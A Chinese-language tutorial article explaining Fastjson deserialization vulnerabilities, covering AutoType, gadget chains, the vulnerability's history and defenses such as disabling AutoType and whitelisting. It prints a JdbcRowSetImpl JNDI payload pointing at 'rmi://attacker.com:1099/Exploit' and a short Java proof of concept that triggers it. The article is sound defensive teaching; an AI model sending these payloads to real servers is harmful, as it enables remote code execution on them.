如果你写过Java项目,几乎肯定接触过JSON。
数据交互离不开它,微服务、配置文件、接口调用,都需要把对象转成JSON,或者把JSON转回对象。
那在国内,最火的解析库是什么?
答案几乎不用犹豫,就是Fastjson。
Fastjson速度快,功能全,阿里出品,社区使用面极大。
很多大厂的服务端代码里,到处都能看到它的身影。
可问题是,它的历史里出现过不少严重漏洞,尤其是大家听得最多的“反序列化漏洞”。
| 这类漏洞危险到什么程度?
简单说,一旦被利用,就可能让攻击者直接在你的服务器上执行任意代码。
今天这篇文章,我们就来把Fastjson的来龙去脉、漏洞原理、利用方式、防御手段,都好好讲一遍。
一个是把对象序列化成JSON字符串,另一个是把JSON字符串反序列化成对象。 | 列化与反序列化
正文开始前我们先理解序列化与反序列化。
在程序中,我们操作的 “对象”,比如Java中的User
类实例、Python 中的字典对象,是存在于内存中的数据结构。
但如果我们需要把对象通过网络发送给另一台计算机(如客户端给服务器传数据)。
或者说,把对象保存到文件/数据库中(持久化存储,下次程序启动时再用)。
而内存中的对象无法直接传输或存储,必须先转换成一种 “可传输/可存储的格式”。
而这个格式也很多,如字节流、JSON字符串、XML字符串等。
这个将内存中的对象转换成特定格式” 的过程,就叫序列化 。
什么是反序列化?
反序列化是序列化的 “逆操作”。
当程序收到经过序列化的 “特定格式数据”(如字节流、JSON 字符串)时,需要把它还原成内存中原本的对象,才能继续使用。
这个 “还原” 的过程,就叫反序列化。
举个生活例子
可以把序列化和反序列化想象成 “打包” 和 “拆包”。
你想把一个 “乐高模型”(内存中的对象)寄给朋友:需要先把它拆成零件,放进包装盒(序列化:转换成可传输的格式),这样就能方便地送出去。
朋友收到包装盒后,需要把零件重新组装成原来的乐高模型(反序列化:还原成对象)。了解了序列化与反序列化,然后我们回到Fastjson。为了方便,我还是以代码形式展示说明一下Fastjson。
import com.alibaba.fastjson.JSON;
public class Demo {
public static void main(String[] args) {
User user = new User("wxing", 25);
String json = JSON.toJSONString(user);
System.out.println(json);
User u = JSON.parseObject(json, User.class);
System.out.println(u.getName());
}
}
运行后,第一行输出的就是JSON格式的字符串,第二行则还原成了对象。
这样一来,数据在网络上传输时用JSON表达,到了本地再还原成对象,逻辑很自然。
但是,问题也出在这里。
Fastjson在设计时加了一个很强大的功能:AutoType。
AutoType是Fastjson、Jackson等序列化 / 反序列化框架的功能,能自动识别序列化数据中的类型标识(如@type),将数据反序列化成对应类型的对象,无需手动指定目标类型。
这个功能允许JSON里携带类的类型信息,也就是说,不仅能还原普通的 JavaBean,还能根据JSON里指定的类型去实例化任意类。
比如写一个这样的JSON:
{
"@type": "com.example.User",
"name": "wxing",
"age": 25
}
当Fastjson解析它时,会去加载com.example.User
这个类,然后给它的字段赋值。
这样做的好处是灵活,但坏处就显而易见了。
攻击者完全可以自己构造JSON,把@type
写成一个特殊的类,只要这个类在加载或赋值的过程中能触发一些危险操作,就能把漏洞利用出来。
说到这就要提到一个关键点:gadget链。
Fastjson自己不会直接帮你执行系统命令,它只是把JSON转换成对象。
但如果某个类在反序列化的过程中做了危险的事,比如连接外部服务器、加载远程类、执行一些动态方法,那么攻击者只需要找到这样一个类,把它放进JSON里,就能让Fastjson帮他触发。
举个例子。
早期漏洞里常见的利用对象是com.sun.rowset.JdbcRowSetImpl
。
这个类本身并不是恶意的,但它有一个特性:在反序列化过程中,它会尝试用JNDI去连接数据库。
JNDI全称是Java Naming and Directory Interface(Java 命名与目录接口),是Java平台中用于查找和访问分布式系统中各种资源的标准接口。
它本质上是一种 “资源定位服务”,就像一个 “分布式注册表”,让应用程序可以通过 “名称” 快速找到并使用各种资源,而不用关心资源的具体位置和实现细节。
如果我们把它的dataSourceName
字段改成攻击者控制的地址,比如一个恶意RMI服务,那反序列化时就会自动发起请求,从而加载攻击者的代码。
构造的payload看起来是这样的:
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://attacker.com:1099/Exploit",
"autoCommit": true
}
鸡蒜机
这份JSON如果被Fastjson解析,就会让服务端主动去连attacker.com:1099
,然后拿到攻击者提供的恶意类,最终执行代码。
这就是经典的Fastjson RCE。
Fastjson的漏洞历史其实很长。
2017年爆出第一个严重问题,影响了 1.2.24 之前的版本,当时的解决方案是默认关闭AutoType。
可是后来,研究人员还是不断地找到了绕过方式。
比如2020年的CVE-2020-10673,攻击者绕过了黑名单限制,依旧能加载危险类。
阿里每次都是紧急发版本更新,但社区安全研究员总能在新机制里找到突破口。
直到2022年,漏洞还在继续被曝出,说明黑名单模式并不是终极解法。
Fastjson最后不得不换思路,引入了白名单机制。
也就是说,不再仅仅依赖“禁止一些危险类”,而是反过来,只允许加载开发者明确声明过的类。
这才算是彻底降低了风险。
| 利用
那在真实环境里,漏洞是怎么被利用的呢?
我们可以写一段实验代码(仅限本地测试):
import com.alibaba.fastjson.JSON;
public class FastjsonPoc {
public static void main(String[] args) {
String payload = "{\n" +
" \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
" \"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\n" +
" \"autoCommit\":true\n" +
"}";
JSON.parse(payload);
}
}
如果本地有个攻击者搭建的RMI服务,就能直接执行恶意代码。
这个例子说明,漏洞利用并不复杂,只要服务端用的是有漏洞的Fastjson版本,并且直接解析了外部输入的JSON,这就可能被打穿。
说到这里,问题就很明确了:开发者该怎么防御?
第一,必须关闭AutoType功能。
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
或者加白名单:
ParserConfig.getGlobalInstance().addAccept("com.example.");
很多公司出事就是因为用了陈年的老版本,一直没升级,漏洞被公开多年后还在用。
第三,考虑替代方案。
比如Jackson或Gson,这两个库在功能上能满足绝大多数需求,而且在安全上社区响应更快一些。
当然,它们也并非完全没有风险,但至少比Fastjson历史上那种“连环爆雷”要轻一点。
第四,减少依赖。别让系统里充斥着一堆没用的第三方库。
因为只要这些类存在于classpath上,攻击者就有可能拿它们做gadget。
越干净的环境,攻击面越小。
| 总结一下
Fastjson的漏洞本质上是因为它给了JSON数据太大的权力,让外部输入能直接控制类的加载。
这种灵活性在业务里可能方便,但在安全层面几乎就是灾难。
过去几年,它不断被曝出新的绕过方式,阿里也在不断修复,从黑名单到白名单,才逐渐把风险压下去。
对开发者来说,最重要的就是:不要掉以轻心。
大家别觉得只是解析个JSON,没什么大不了。
事实上,很多严重的数据泄露、服务器入侵,都是从这么一个小入口被撬开的。
到这儿,同学应该能明白Fastjson漏洞的来龙去脉了:它为什么会出事,攻击者怎么利用,怎么修复和防御。
对安全来说,便利和风险总是一起出现的,框架越灵活,就越要小心。
如果大家现在项目里还在用老版本的Fastjson,建议立刻去检查。
如果真的改不了,至少加上白名单和隔离。
别让一个小小的JSON解析,变成系统里最薄弱的一环。
阅读原文:点击这里
该文章在 2025/8/19 12:37:25 编辑过